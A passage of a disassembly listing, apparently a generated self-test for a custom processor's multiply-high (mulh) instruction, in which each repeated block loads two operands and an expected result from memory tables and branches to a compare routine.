a800: 14 30 d6 04 br 10 <compare>,#al
a804: 00 10 00 41 add r2,1
a808: 0d 41 9d 04 wl16 r8,0xce4
a80c: 0d 60 01 03 wh16 r8,0x3
a810: 10 40 01 08 ld32 r8,r8
a814: 0d 43 be 00 wl16 r16,0x1de0
a818: 0d 60 02 03 wh16 r16,0x3
a81c: 10 40 02 10 ld32 r16,r16
a820: 0d 45 d9 3c wl16 r9,0x2edc
a824: 0d 60 01 23 wh16 r9,0x3
a828: 10 40 01 29 ld32 r9,r9
a82c: 00 60 01 10 mulh r8,r16
a830: 20 70 03 e2 movepc rret,8
a834: 14 30 d5 f7 br 10 <compare>,#al
a838: 00 10 00 41 add r2,1
a83c: 0d 41 9d 08 wl16 r8,0xce8
a840: 0d 60 01 03 wh16 r8,0x3
a844: 10 40 01 08 ld32 r8,r8
a848: 0d 43 be 04 wl16 r16,0x1de4
a84c: 0d 60 02 03 wh16 r16,0x3
a850: 10 40 02 10 ld32 r16,r16
a854: 0d 45 dd 20 wl16 r9,0x2ee0
a858: 0d 60 01 23 wh16 r9,0x3
a85c: 10 40 01 29 ld32 r9,r9
a860: 00 60 01 10 mulh r8,r16
a864: 20 70 03 e2 movepc rret,8
a868: 14 30 d5 ea br 10 <compare>,#al
a86c: 00 10 00 41 add r2,1
a870: 0d 41 9d 0c wl16 r8,0xcec
a874: 0d 60 01 03 wh16 r8,0x3
a878: 10 40 01 08 ld32 r8,r8
a87c: 0d 43 be 08 wl16 r16,0x1de8
a880: 0d 60 02 03 wh16 r16,0x3
a884: 10 40 02 10 ld32 r16,r16
a888: 0d 45 dd 24 wl16 r9,0x2ee4
a88c: 0d 60 01 23 wh16 r9,0x3
a890: 10 40 01 29 ld32 r9,r9
a894: 00 60 01 10 mulh r8,r16
a898: 20 70 03 e2 movepc rret,8
a89c: 14 30 d5 dd br 10 <compare>,#al
a8a0: 00 10 00 41 add r2,1
a8a4: 0d 41 9d 10 wl16 r8,0xcf0
a8a8: 0d 60 01 03 wh16 r8,0x3
a8ac: 10 40 01 08 ld32 r8,r8
a8b0: 0d 43 be 0c wl16 r16,0x1dec
a8b4: 0d 60 02 03 wh16 r16,0x3
a8b8: 10 40 02 10 ld32 r16,r16
a8bc: 0d 45 dd 28 wl16 r9,0x2ee8
a8c0: 0d 60 01 23 wh16 r9,0x3
a8c4: 10 40 01 29 ld32 r9,r9
a8c8: 00 60 01 10 mulh r8,r16
a8cc: 20 70 03 e2 movepc rret,8
a8d0: 14 30 d5 d0 br 10 <compare>,#al
a8d4: 00 10 00 41 add r2,1
a8d8: 0d 41 9d 14 wl16 r8,0xcf4
a8dc: 0d 60 01 03 wh16 r8,0x3
a8e0: 10 40 01 08 ld32 r8,r8
a8e4: 0d 43 be 10 wl16 r16,0x1df0
a8e8: 0d 60 02 03 wh16 r16,0x3
a8ec: 10 40 02 10 ld32 r16,r16
a8f0: 0d 45 dd 2c wl16 r9,0x2eec
a8f4: 0d 60 01 23 wh16 r9,0x3
a8f8: 10 40 01 29 ld32 r9,r9
a8fc: 00 60 01 10 mulh r8,r16
a900: 20 70 03 e2 movepc rret,8
a904: 14 30 d5 c3 br 10 <compare>,#al
a908: 00 10 00 41 add r2,1
a90c: 0d 41 9d 18 wl16 r8,0xcf8
a910: 0d 60 01 03 wh16 r8,0x3
a914: 10 40 01 08 ld32 r8,r8
a918: 0d 43 be 14 wl16 r16,0x1df4
a91c: 0d 60 02 03 wh16 r16,0x3
a920: 10 40 02 10 ld32 r16,r16
a924: 0d 45 dd 30 wl16 r9,0x2ef0
a928: 0d 60 01 23 wh16 r9,0x3
a92c: 10 40 01 29 ld32 r9,r9
a930: 00 60 01 10 mulh r8,r16
a934: 20 70 03 e2 movepc rret,8
a938: 14 30 d5 b6 br 10 <compare>,#al
a93c: 00 10 00 41 add r2,1
a940: 0d 41 9d 1c wl16 r8,0xcfc
a944: 0d 60 01 03 wh16 r8,0x3
a948: 10 40 01 08 ld32 r8,r8
a94c: 0d 43 be 18 wl16 r16,0x1df8
a950: 0d 60 02 03 wh16 r16,0x3
a954: 10 40 02 10 ld32 r16,r16
a958: 0d 45 dd 34 wl16 r9,0x2ef4
a95c: 0d 60 01 23 wh16 r9,0x3
a960: 10 40 01 29 ld32 r9,r9
a964: 00 60 01 10 mulh r8,r16
a968: 20 70 03 e2 movepc rret,8
a96c: 14 30 d5 a9 br 10 <compare>,#al
a970: 00 10 00 41 add r2,1
a974: 0d 41 a1 00 wl16 r8,0xd00
a978: 0d 60 01 03 wh16 r8,0x3
a97c: 10 40 01 08 ld32 r8,r8
a980: 0d 43 be 1c wl16 r16,0x1dfc
a984: 0d 60 02 03 wh16 r16,0x3
a988: 10 40 02 10 ld32 r16,r16
a98c: 0d 45 dd 38 wl16 r9,0x2ef8
a990: 0d 60 01 23 wh16 r9,0x3
a994: 10 40 01 29 ld32 r9,r9
a998: 00 60 01 10 mulh r8,r16
a99c: 20 70 03 e2 movepc rret,8
a9a0: 14 30 d5 9c br 10 <compare>,#al
a9a4: 00 10 00 41 add r2,1
a9a8: 0d 41 a1 04 wl16 r8,0xd04
a9ac: 0d 60 01 03 wh16 r8,0x3
a9b0: 10 40 01 08 ld32 r8,r8
a9b4: 0d 43 c2 00 wl16 r16,0x1e00
a9b8: 0d 60 02 03 wh16 r16,0x3
a9bc: 10 40 02 10 ld32 r16,r16
a9c0: 0d 45 dd 3c wl16 r9,0x2efc
a9c4: 0d 60 01 23 wh16 r9,0x3
a9c8: 10 40 01 29 ld32 r9,r9
a9cc: 00 60 01 10 mulh r8,r16
a9d0: 20 70 03 e2 movepc rret,8
a9d4: 14 30 d5 8f br 10 <compare>,#al
a9d8: 00 10 00 41 add r2,1
a9dc: 0d 41 a1 08 wl16 r8,0xd08
a9e0: 0d 60 01 03 wh16 r8,0x3
a9e4: 10 40 01 08 ld32 r8,r8
a9e8: 0d 43 c2 04 wl16 r16,0x1e04
a9ec: 0d 60 02 03 wh16 r16,0x3
a9f0: 10 40 02 10 ld32 r16,r16
a9f4: 0d 45 e1 20 wl16 r9,0x2f00
a9f8: 0d 60 01 23 wh16 r9,0x3
a9fc: 10 40 01 29 ld32 r9,r9
aa00: 00 60 01 10 mulh r8,r16
aa04: 20 70 03 e2 movepc rret,8
aa08: 14 30 d5 82 br 10 <compare>,#al
aa0c: 00 10 00 41 add r2,1
aa10: 0d 41 a1 0c wl16 r8,0xd0c
aa14: 0d 60 01 03 wh16 r8,0x3
aa18: 10 40 01 08 ld32 r8,r8
aa1c: 0d 43 c2 08 wl16 r16,0x1e08
aa20: 0d 60 02 03 wh16 r16,0x3
aa24: 10 40 02 10 ld32 r16,r16
aa28: 0d 45 e1 24 wl16 r9,0x2f04
aa2c: 0d 60 01 23 wh16 r9,0x3
aa30: 10 40 01 29 ld32 r9,r9
aa34: 00 60 01 10 mulh r8,r16
aa38: 20 70 03 e2 movepc rret,8
aa3c: 14 30 d5 75 br 10 <compare>,#al
aa40: 00 10 00 41 add r2,1
aa44: 0d 41 a1 10 wl16 r8,0xd10
aa48: 0d 60 01 03 wh16 r8,0x3
aa4c: 10 40 01 08 ld32 r8,r8
aa50: 0d 43 c2 0c wl16 r16,0x1e0c
aa54: 0d 60 02 03 wh16 r16,0x3
aa58: 10 40 02 10 ld32 r16,r16
aa5c: 0d 45 e1 28 wl16 r9,0x2f08
aa60: 0d 60 01 23 wh16 r9,0x3
aa64: 10 40 01 29 ld32 r9,r9
aa68: 00 60 01 10 mulh r8,r16
aa6c: 20 70 03 e2 movepc rret,8
aa70: 14 30 d5 68 br 10 <compare>,#al
aa74: 00 10 00 41 add r2,1
aa78: 0d 41 a1 14 wl16 r8,0xd14
aa7c: 0d 60 01 03 wh16 r8,0x3
aa80: 10 40 01 08 ld32 r8,r8
aa84: 0d 43 c2 10 wl16 r16,0x1e10
aa88: 0d 60 02 03 wh16 r16,0x3
aa8c: 10 40 02 10 ld32 r16,r16
aa90: 0d 45 e1 2c wl16 r9,0x2f0c
aa94: 0d 60 01 23 wh16 r9,0x3
aa98: 10 40 01 29 ld32 r9,r9
aa9c: 00 60 01 10 mulh r8,r16
aaa0: 20 70 03 e2 movepc rret,8
aaa4: 14 30 d5 5b br 10 <compare>,#al
aaa8: 00 10 00 41 add r2,1
aaac: 0d 41 a1 18 wl16 r8,0xd18
aab0: 0d 60 01 03 wh16 r8,0x3
aab4: 10 40 01 08 ld32 r8,r8
aab8: 0d 43 c2 14 wl16 r16,0x1e14
aabc: 0d 60 02 03 wh16 r16,0x3
aac0: 10 40 02 10 ld32 r16,r16
aac4: 0d 45 e1 30 wl16 r9,0x2f10
aac8: 0d 60 01 23 wh16 r9,0x3
aacc: 10 40 01 29 ld32 r9,r9
aad0: 00 60 01 10 mulh r8,r16
aad4: 20 70 03 e2 movepc rret,8
aad8: 14 30 d5 4e br 10 <compare>,#al
aadc: 00 10 00 41 add r2,1
aae0: 0d 41 a1 1c wl16 r8,0xd1c
aae4: 0d 60 01 03 wh16 r8,0x3
aae8: 10 40 01 08 ld32 r8,r8
aaec: 0d 43 c2 18 wl16 r16,0x1e18
aaf0: 0d 60 02 03 wh16 r16,0x3
aaf4: 10 40 02 10 ld32 r16,r16
aaf8: 0d 45 e1 34 wl16 r9,0x2f14
aafc: 0d 60 01 23 wh16 r9,0x3
ab00: 10 40 01 29 ld32 r9,r9
ab04: 00 60 01 10 mulh r8,r16
ab08: 20 70 03 e2 movepc rret,8
ab0c: 14 30 d5 41 br 10 <compare>,#al
ab10: 00 10 00 41 add r2,1
ab14: 0d 41 a5 00 wl16 r8,0xd20
ab18: 0d 60 01 03 wh16 r8,0x3
ab1c: 10 40 01 08 ld32 r8,r8
ab20: 0d 43 c2 1c wl16 r16,0x1e1c
ab24: 0d 60 02 03 wh16 r16,0x3
ab28: 10 40 02 10 ld32 r16,r16
ab2c: 0d 45 e1 38 wl16 r9,0x2f18
ab30: 0d 60 01 23 wh16 r9,0x3
ab34: 10 40 01 29 ld32 r9,r9
ab38: 00 60 01 10 mulh r8,r16
ab3c: 20 70 03 e2 movepc rret,8
ab40: 14 30 d5 34 br 10 <compare>,#al
ab44: 00 10 00 41 add r2,1
ab48: 0d 41 a5 04 wl16 r8,0xd24
ab4c: 0d 60 01 03 wh16 r8,0x3
ab50: 10 40 01 08 ld32 r8,r8
ab54: 0d 43 c6 00 wl16 r16,0x1e20
ab58: 0d 60 02 03 wh16 r16,0x3
ab5c: 10 40 02 10 ld32 r16,r16
ab60: 0d 45 e1 3c wl16 r9,0x2f1c
ab64: 0d 60 01 23 wh16 r9,0x3
ab68: 10 40 01 29 ld32 r9,r9
ab6c: 00 60 01 10 mulh r8,r16
ab70: 20 70 03 e2 movepc rret,8
ab74: 14 30 d5 27 br 10 <compare>,#al
ab78: 00 10 00 41 add r2,1
ab7c: 0d 41 a5 08 wl16 r8,0xd28
ab80: 0d 60 01 03 wh16 r8,0x3
ab84: 10 40 01 08 ld32 r8,r8
ab88: 0d 43 c6 04 wl16 r16,0x1e24
ab8c: 0d 60 02 03 wh16 r16,0x3
ab90: 10 40 02 10 ld32 r16,r16
ab94: 0d 45 e5 20 wl16 r9,0x2f20
ab98: 0d 60 01 23 wh16 r9,0x3
ab9c: 10 40 01 29 ld32 r9,r9
aba0: 00 60 01 10 mulh r8,r16
aba4: 20 70 03 e2 movepc rret,8
aba8: 14 30 d5 1a br 10 <compare>,#al
abac: 00 10 00 41 add r2,1
abb0: 0d 41 a5 0c wl16 r8,0xd2c
abb4: 0d 60 01 03 wh16 r8,0x3
abb8: 10 40 01 08 ld32 r8,r8
abbc: 0d 43 c6 08 wl16 r16,0x1e28
abc0: 0d 60 02 03 wh16 r16,0x3
abc4: 10 40 02 10 ld32 r16,r16
abc8: 0d 45 e5 24 wl16 r9,0x2f24
abcc: 0d 60 01 23 wh16 r9,0x3
abd0: 10 40 01 29 ld32 r9,r9
abd4: 00 60 01 10 mulh r8,r16
abd8: 20 70 03 e2 movepc rret,8
abdc: 14 30 d5 0d br 10 <compare>,#al
abe0: 00 10 00 41 add r2,1
abe4: 0d 41 a5 10 wl16 r8,0xd30
abe8: 0d 60 01 03 wh16 r8,0x3
abec: 10 40 01 08 ld32 r8,r8
abf0: 0d 43 c6 0c wl16 r16,0x1e2c
abf4: 0d 60 02 03 wh16 r16,0x3
abf8: 10 40 02 10 ld32 r16,r16
abfc: 0d 45 e5 28 wl16 r9,0x2f28
ac00: 0d 60 01 23 wh16 r9,0x3
ac04: 10 40 01 29 ld32 r9,r9
ac08: 00 60 01 10 mulh r8,r16
ac0c: 20 70 03 e2 movepc rret,8
ac10: 14 30 d5 00 br 10 <compare>,#al
ac14: 00 10 00 41 add r2,1
ac18: 0d 41 a5 14 wl16 r8,0xd34
ac1c: 0d 60 01 03 wh16 r8,0x3
ac20: 10 40 01 08 ld32 r8,r8
ac24: 0d 43 c6 10 wl16 r16,0x1e30
ac28: 0d 60 02 03 wh16 r16,0x3
ac2c: 10 40 02 10 ld32 r16,r16
ac30: 0d 45 e5 2c wl16 r9,0x2f2c
ac34: 0d 60 01 23 wh16 r9,0x3
ac38: 10 40 01 29 ld32 r9,r9
ac3c: 00 60 01 10 mulh r8,r16
ac40: 20 70 03 e2 movepc rret,8
ac44: 14 30 d4 f3 br 10 <compare>,#al
ac48: 00 10 00 41 add r2,1
ac4c: 0d 41 a5 18 wl16 r8,0xd38
ac50: 0d 60 01 03 wh16 r8,0x3
ac54: 10 40 01 08 ld32 r8,r8
ac58: 0d 43 c6 14 wl16 r16,0x1e34
ac5c: 0d 60 02 03 wh16 r16,0x3
ac60: 10 40 02 10 ld32 r16,r16
ac64: 0d 45 e5 30 wl16 r9,0x2f30
ac68: 0d 60 01 23 wh16 r9,0x3
ac6c: 10 40 01 29 ld32 r9,r9
ac70: 00 60 01 10 mulh r8,r16
ac74: 20 70 03 e2 movepc rret,8
ac78: 14 30 d4 e6 br 10 <compare>,#al
ac7c: 00 10 00 41 add r2,1
ac80: 0d 41 a5 1c wl16 r8,0xd3c
ac84: 0d 60 01 03 wh16 r8,0x3
ac88: 10 40 01 08 ld32 r8,r8
ac8c: 0d 43 c6 18 wl16 r16,0x1e38
ac90: 0d 60 02 03 wh16 r16,0x3
ac94: 10 40 02 10 ld32 r16,r16
ac98: 0d 45 e5 34 wl16 r9,0x2f34
ac9c: 0d 60 01 23 wh16 r9,0x3
aca0: 10 40 01 29 ld32 r9,r9
aca4: 00 60 01 10 mulh r8,r16
aca8: 20 70 03 e2 movepc rret,8
acac: 14 30 d4 d9 br 10 <compare>,#al
acb0: 00 10 00 41 add r2,1
acb4: 0d 41 a9 00 wl16 r8,0xd40
acb8: 0d 60 01 03 wh16 r8,0x3
acbc: 10 40 01 08 ld32 r8,r8
acc0: 0d 43 c6 1c wl16 r16,0x1e3c
acc4: 0d 60 02 03 wh16 r16,0x3
acc8: 10 40 02 10 ld32 r16,r16
accc: 0d 45 e5 38 wl16 r9,0x2f38
acd0: 0d 60 01 23 wh16 r9,0x3
acd4: 10 40 01 29 ld32 r9,r9
acd8: 00 60 01 10 mulh r8,r16
acdc: 20 70 03 e2 movepc rret,8
ace0: 14 30 d4 cc br 10 <compare>,#al
ace4: 00 10 00 41 add r2,1
ace8: 0d 41 a9 04 wl16 r8,0xd44
acec: 0d 60 01 03 wh16 r8,0x3
acf0: 10 40 01 08 ld32 r8,r8
acf4: 0d 43 ca 00 wl16 r16,0x1e40
acf8: 0d 60 02 03 wh16 r16,0x3
acfc: 10 40 02 10 ld32 r16,r16
ad00: 0d 45 e5 3c wl16 r9,0x2f3c
ad04: 0d 60 01 23 wh16 r9,0x3
ad08: 10 40 01 29 ld32 r9,r9
ad0c: 00 60 01 10 mulh r8,r16
ad10: 20 70 03 e2 movepc rret,8
ad14: 14 30 d4 bf br 10 <compare>,#al
ad18: 00 10 00 41 add r2,1
ad1c: 0d 41 a9 08 wl16 r8,0xd48
ad20: 0d 60 01 03 wh16 r8,0x3
ad24: 10 40 01 08 ld32 r8,r8
ad28: 0d 43 ca 04 wl16 r16,0x1e44
ad2c: 0d 60 02 03 wh16 r16,0x3
ad30: 10 40 02 10 ld32 r16,r16
ad34: 0d 45 e9 20 wl16 r9,0x2f40
ad38: 0d 60 01 23 wh16 r9,0x3
ad3c: 10 40 01 29 ld32 r9,r9
ad40: 00 60 01 10 mulh r8,r16
ad44: 20 70 03 e2 movepc rret,8
ad48: 14 30 d4 b2 br 10 <compare>,#al
ad4c: 00 10 00 41 add r2,1
ad50: 0d 41 a9 0c wl16 r8,0xd4c
ad54: 0d 60 01 03 wh16 r8,0x3
ad58: 10 40 01 08 ld32 r8,r8
ad5c: 0d 43 ca 08 wl16 r16,0x1e48
ad60: 0d 60 02 03 wh16 r16,0x3
ad64: 10 40 02 10 ld32 r16,r16
ad68: 0d 45 e9 24 wl16 r9,0x2f44
ad6c: 0d 60 01 23 wh16 r9,0x3
ad70: 10 40 01 29 ld32 r9,r9
ad74: 00 60 01 10 mulh r8,r16
ad78: 20 70 03 e2 movepc rret,8
ad7c: 14 30 d4 a5 br 10 <compare>,#al
ad80: 00 10 00 41 add r2,1
ad84: 0d 41 a9 10 wl16 r8,0xd50
ad88: 0d 60 01 03 wh16 r8,0x3
ad8c: 10 40 01 08 ld32 r8,r8
ad90: 0d 43 ca 0c wl16 r16,0x1e4c
ad94: 0d 60 02 03 wh16 r16,0x3
ad98: 10 40 02 10 ld32 r16,r16
ad9c: 0d 45 e9 28 wl16 r9,0x2f48
ada0: 0d 60 01 23 wh16 r9,0x3
ada4: 10 40 01 29 ld32 r9,r9
ada8: 00 60 01 10 mulh r8,r16
adac: 20 70 03 e2 movepc rret,8
adb0: 14 30 d4 98 br 10 <compare>,#al
adb4: 00 10 00 41 add r2,1
adb8: 0d 41 a9 14 wl16 r8,0xd54
adbc: 0d 60 01 03 wh16 r8,0x3
adc0: 10 40 01 08 ld32 r8,r8
adc4: 0d 43 ca 10 wl16 r16,0x1e50
adc8: 0d 60 02 03 wh16 r16,0x3
adcc: 10 40 02 10 ld32 r16,r16
add0: 0d 45 e9 2c wl16 r9,0x2f4c
add4: 0d 60 01 23 wh16 r9,0x3
add8: 10 40 01 29 ld32 r9,r9
addc: 00 60 01 10 mulh r8,r16
ade0: 20 70 03 e2 movepc rret,8
ade4: 14 30 d4 8b br 10 <compare>,#al
ade8: 00 10 00 41 add r2,1
adec: 0d 41 a9 18 wl16 r8,0xd58
adf0: 0d 60 01 03 wh16 r8,0x3
adf4: 10 40 01 08 ld32 r8,r8
adf8: 0d 43 ca 14 wl16 r16,0x1e54
adfc: 0d 60 02 03 wh16 r16,0x3
ae00: 10 40 02 10 ld32 r16,r16
ae04: 0d 45 e9 30 wl16 r9,0x2f50
ae08: 0d 60 01 23 wh16 r9,0x3
ae0c: 10 40 01 29 ld32 r9,r9
ae10: 00 60 01 10 mulh r8,r16
ae14: 20 70 03 e2 movepc rret,8
ae18: 14 30 d4 7e br 10 <compare>,#al
ae1c: 00 10 00 41 add r2,1
ae20: 0d 41 a9 1c wl16 r8,0xd5c
ae24: 0d 60 01 03 wh16 r8,0x3
ae28: 10 40 01 08 ld32 r8,r8
ae2c: 0d 43 ca 18 wl16 r16,0x1e58
ae30: 0d 60 02 03 wh16 r16,0x3
ae34: 10 40 02 10 ld32 r16,r16
ae38: 0d 45 e9 34 wl16 r9,0x2f54
ae3c: 0d 60 01 23 wh16 r9,0x3
ae40: 10 40 01 29 ld32 r9,r9
ae44: 00 60 01 10 mulh r8,r16
ae48: 20 70 03 e2 movepc rret,8
ae4c: 14 30 d4 71 br 10 <compare>,#al
ae50: 00 10 00 41 add r2,1
ae54: 0d 41 ad 00 wl16 r8,0xd60
ae58: 0d 60 01 03 wh16 r8,0x3
ae5c: 10 40 01 08 ld32 r8,r8
ae60: 0d 43 ca 1c wl16 r16,0x1e5c
ae64: 0d 60 02 03 wh16 r16,0x3
ae68: 10 40 02 10 ld32 r16,r16
ae6c: 0d 45 e9 38 wl16 r9,0x2f58
ae70: 0d 60 01 23 wh16 r9,0x3
ae74: 10 40 01 29 ld32 r9,r9
ae78: 00 60 01 10 mulh r8,r16
ae7c: 20 70 03 e2 movepc rret,8
ae80: 14 30 d4 64 br 10 <compare>,#al
ae84: 00 10 00 41 add r2,1
ae88: 0d 41 ad 04 wl16 r8,0xd64
ae8c: 0d 60 01 03 wh16 r8,0x3
ae90: 10 40 01 08 ld32 r8,r8
ae94: 0d 43 ce 00 wl16 r16,0x1e60
ae98: 0d 60 02 03 wh16 r16,0x3
ae9c: 10 40 02 10 ld32 r16,r16
aea0: 0d 45 e9 3c wl16 r9,0x2f5c
aea4: 0d 60 01 23 wh16 r9,0x3
aea8: 10 40 01 29 ld32 r9,r9
aeac: 00 60 01 10 mulh r8,r16
aeb0: 20 70 03 e2 movepc rret,8
aeb4: 14 30 d4 57 br 10 <compare>,#al
aeb8: 00 10 00 41 add r2,1
aebc: 0d 41 ad 08 wl16 r8,0xd68
aec0: 0d 60 01 03 wh16 r8,0x3
aec4: 10 40 01 08 ld32 r8,r8
aec8: 0d 43 ce 04 wl16 r16,0x1e64
aecc: 0d 60 02 03 wh16 r16,0x3
aed0: 10 40 02 10 ld32 r16,r16
aed4: 0d 45 ed 20 wl16 r9,0x2f60
aed8: 0d 60 01 23 wh16 r9,0x3
aedc: 10 40 01 29 ld32 r9,r9
aee0: 00 60 01 10 mulh r8,r16
aee4: 20 70 03 e2 movepc rret,8
aee8: 14 30 d4 4a br 10 <compare>,#al
aeec: 00 10 00 41 add r2,1
aef0: 0d 41 ad 0c wl16 r8,0xd6c
aef4: 0d 60 01 03 wh16 r8,0x3
aef8: 10 40 01 08 ld32 r8,r8
aefc: 0d 43 ce 08 wl16 r16,0x1e68
af00: 0d 60 02 03 wh16 r16,0x3
af04: 10 40 02 10 ld32 r16,r16
af08: 0d 45 ed 24 wl16 r9,0x2f64
af0c: 0d 60 01 23 wh16 r9,0x3
af10: 10 40 01 29 ld32 r9,r9
af14: 00 60 01 10 mulh r8,r16
af18: 20 70 03 e2 movepc rret,8
af1c: 14 30 d4 3d br 10 <compare>,#al
af20: 00 10 00 41 add r2,1
af24: 0d 41 ad 10 wl16 r8,0xd70
af28: 0d 60 01 03 wh16 r8,0x3
af2c: 10 40 01 08 ld32 r8,r8
af30: 0d 43 ce 0c wl16 r16,0x1e6c
af34: 0d 60 02 03 wh16 r16,0x3
af38: 10 40 02 10 ld32 r16,r16
af3c: 0d 45 ed 28 wl16 r9,0x2f68
af40: 0d 60 01 23 wh16 r9,0x3
af44: 10 40 01 29 ld32 r9,r9
af48: 00 60 01 10 mulh r8,r16
af4c: 20 70 03 e2 movepc rret,8
af50: 14 30 d4 30 br 10 <compare>,#al
af54: 00 10 00 41 add r2,1
af58: 0d 41 ad 14 wl16 r8,0xd74
af5c: 0d 60 01 03 wh16 r8,0x3
af60: 10 40 01 08 ld32 r8,r8
af64: 0d 43 ce 10 wl16 r16,0x1e70
af68: 0d 60 02 03 wh16 r16,0x3
af6c: 10 40 02 10 ld32 r16,r16
af70: 0d 45 ed 2c wl16 r9,0x2f6c
af74: 0d 60 01 23 wh16 r9,0x3
af78: 10 40 01 29 ld32 r9,r9
af7c: 00 60 01 10 mulh r8,r16
af80: 20 70 03 e2 movepc rret,8
af84: 14 30 d4 23 br 10 <compare>,#al
af88: 00 10 00 41 add r2,1
af8c: 0d 41 ad 18 wl16 r8,0xd78
af90: 0d 60 01 03 wh16 r8,0x3
af94: 10 40 01 08 ld32 r8,r8
af98: 0d 43 ce 14 wl16 r16,0x1e74
af9c: 0d 60 02 03 wh16 r16,0x3
afa0: 10 40 02 10 ld32 r16,r16
afa4: 0d 45 ed 30 wl16 r9,0x2f70
afa8: 0d 60 01 23 wh16 r9,0x3
afac: 10 40 01 29 ld32 r9,r9
afb0: 00 60 01 10 mulh r8,r16
afb4: 20 70 03 e2 movepc rret,8
afb8: 14 30 d4 16 br 10 <compare>,#al
afbc: 00 10 00 41 add r2,1
afc0: 0d 41 ad 1c wl16 r8,0xd7c
afc4: 0d 60 01 03 wh16 r8,0x3
afc8: 10 40 01 08 ld32 r8,r8
afcc: 0d 43 ce 18 wl16 r16,0x1e78
afd0: 0d 60 02 03 wh16 r16,0x3
afd4: 10 40 02 10 ld32 r16,r16
afd8: 0d 45 ed 34 wl16 r9,0x2f74
afdc: 0d 60 01 23 wh16 r9,0x3
afe0: 10 40 01 29 ld32 r9,r9
afe4: 00 60 01 10 mulh r8,r16
afe8: 20 70 03 e2 movepc rret,8
afec: 14 30 d4 09 br 10 <compare>,#al
aff0: 00 10 00 41 add r2,1
aff4: 0d 41 b1 00 wl16 r8,0xd80
aff8: 0d 60 01 03 wh16 r8,0x3
affc: 10 40 01 08 ld32 r8,r8
b000: 0d 43 ce 1c wl16 r16,0x1e7c
b004: 0d 60 02 03 wh16 r16,0x3
b008: 10 40 02 10 ld32 r16,r16
b00c: 0d 45 ed 38 wl16 r9,0x2f78
b010: 0d 60 01 23 wh16 r9,0x3
b014: 10 40 01 29 ld32 r9,r9
b018: 00 60 01 10 mulh r8,r16
b01c: 20 70 03 e2 movepc rret,8
b020: 14 30 d3 fc br 10 <compare>,#al
b024: 00 10 00 41 add r2,1
b028: 0d 41 b1 04 wl16 r8,0xd84
b02c: 0d 60 01 03 wh16 r8,0x3
b030: 10 40 01 08 ld32 r8,r8
b034: 0d 43 d2 00 wl16 r16,0x1e80
b038: 0d 60 02 03 wh16 r16,0x3
b03c: 10 40 02 10 ld32 r16,r16
b040: 0d 45 ed 3c wl16 r9,0x2f7c
b044: 0d 60 01 23 wh16 r9,0x3
b048: 10 40 01 29 ld32 r9,r9
b04c: 00 60 01 10 mulh r8,r16
b050: 20 70 03 e2 movepc rret,8
b054: 14 30 d3 ef br 10 <compare>,#al
b058: 00 10 00 41 add r2,1
b05c: 0d 41 b1 08 wl16 r8,0xd88
b060: 0d 60 01 03 wh16 r8,0x3
b064: 10 40 01 08 ld32 r8,r8
b068: 0d 43 d2 04 wl16 r16,0x1e84
b06c: 0d 60 02 03 wh16 r16,0x3
b070: 10 40 02 10 ld32 r16,r16
b074: 0d 45 f1 20 wl16 r9,0x2f80
b078: 0d 60 01 23 wh16 r9,0x3
b07c: 10 40 01 29 ld32 r9,r9
b080: 00 60 01 10 mulh r8,r16
b084: 20 70 03 e2 movepc rret,8
b088: 14 30 d3 e2 br 10 <compare>,#al
b08c: 00 10 00 41 add r2,1
b090: 0d 41 b1 0c wl16 r8,0xd8c
b094: 0d 60 01 03 wh16 r8,0x3
b098: 10 40 01 08 ld32 r8,r8
b09c: 0d 43 d2 08 wl16 r16,0x1e88
b0a0: 0d 60 02 03 wh16 r16,0x3
b0a4: 10 40 02 10 ld32 r16,r16
b0a8: 0d 45 f1 24 wl16 r9,0x2f84
b0ac: 0d 60 01 23 wh16 r9,0x3
b0b0: 10 40 01 29 ld32 r9,r9
b0b4: 00 60 01 10 mulh r8,r16
b0b8: 20 70 03 e2 movepc rret,8
b0bc: 14 30 d3 d5 br 10 <compare>,#al
b0c0: 00 10 00 41 add r2,1
b0c4: 0d 41 b1 10 wl16 r8,0xd90
b0c8: 0d 60 01 03 wh16 r8,0x3
b0cc: 10 40 01 08 ld32 r8,r8
b0d0: 0d 43 d2 0c wl16 r16,0x1e8c
b0d4: 0d 60 02 03 wh16 r16,0x3
b0d8: 10 40 02 10 ld32 r16,r16
b0dc: 0d 45 f1 28 wl16 r9,0x2f88
b0e0: 0d 60 01 23 wh16 r9,0x3
b0e4: 10 40 01 29 ld32 r9,r9
b0e8: 00 60 01 10 mulh r8,r16
b0ec: 20 70 03 e2 movepc rret,8
b0f0: 14 30 d3 c8 br 10 <compare>,#al
b0f4: 00 10 00 41 add r2,1
b0f8: 0d 41 b1 14 wl16 r8,0xd94
b0fc: 0d 60 01 03 wh16 r8,0x3
b100: 10 40 01 08 ld32 r8,r8
b104: 0d 43 d2 10 wl16 r16,0x1e90
b108: 0d 60 02 03 wh16 r16,0x3
b10c: 10 40 02 10 ld32 r16,r16
b110: 0d 45 f1 2c wl16 r9,0x2f8c
b114: 0d 60 01 23 wh16 r9,0x3
b118: 10 40 01 29 ld32 r9,r9
b11c: 00 60 01 10 mulh r8,r16
b120: 20 70 03 e2 movepc rret,8
b124: 14 30 d3 bb br 10 <compare>,#al
b128: 00 10 00 41 add r2,1
b12c: 0d 41 b1 18 wl16 r8,0xd98
b130: 0d 60 01 03 wh16 r8,0x3
b134: 10 40 01 08 ld32 r8,r8
b138: 0d 43 d2 14 wl16 r16,0x1e94
b13c: 0d 60 02 03 wh16 r16,0x3
b140: 10 40 02 10 ld32 r16,r16
b144: 0d 45 f1 30 wl16 r9,0x2f90
b148: 0d 60 01 23 wh16 r9,0x3
b14c: 10 40 01 29 ld32 r9,r9
b150: 00 60 01 10 mulh r8,r16
b154: 20 70 03 e2 movepc rret,8
b158: 14 30 d3 ae br 10 <compare>,#al
b15c: 00 10 00 41 add r2,1
b160: 0d 41 b1 1c wl16 r8,0xd9c
b164: 0d 60 01 03 wh16 r8,0x3
b168: 10 40 01 08 ld32 r8,r8
b16c: 0d 43 d2 18 wl16 r16,0x1e98
b170: 0d 60 02 03 wh16 r16,0x3
b174: 10 40 02 10 ld32 r16,r16
b178: 0d 45 f1 34 wl16 r9,0x2f94
b17c: 0d 60 01 23 wh16 r9,0x3
b180: 10 40 01 29 ld32 r9,r9
b184: 00 60 01 10 mulh r8,r16
b188: 20 70 03 e2 movepc rret,8
b18c: 14 30 d3 a1 br 10 <compare>,#al
b190: 00 10 00 41 add r2,1
b194: 0d 41 b5 00 wl16 r8,0xda0
b198: 0d 60 01 03 wh16 r8,0x3
b19c: 10 40 01 08 ld32 r8,r8
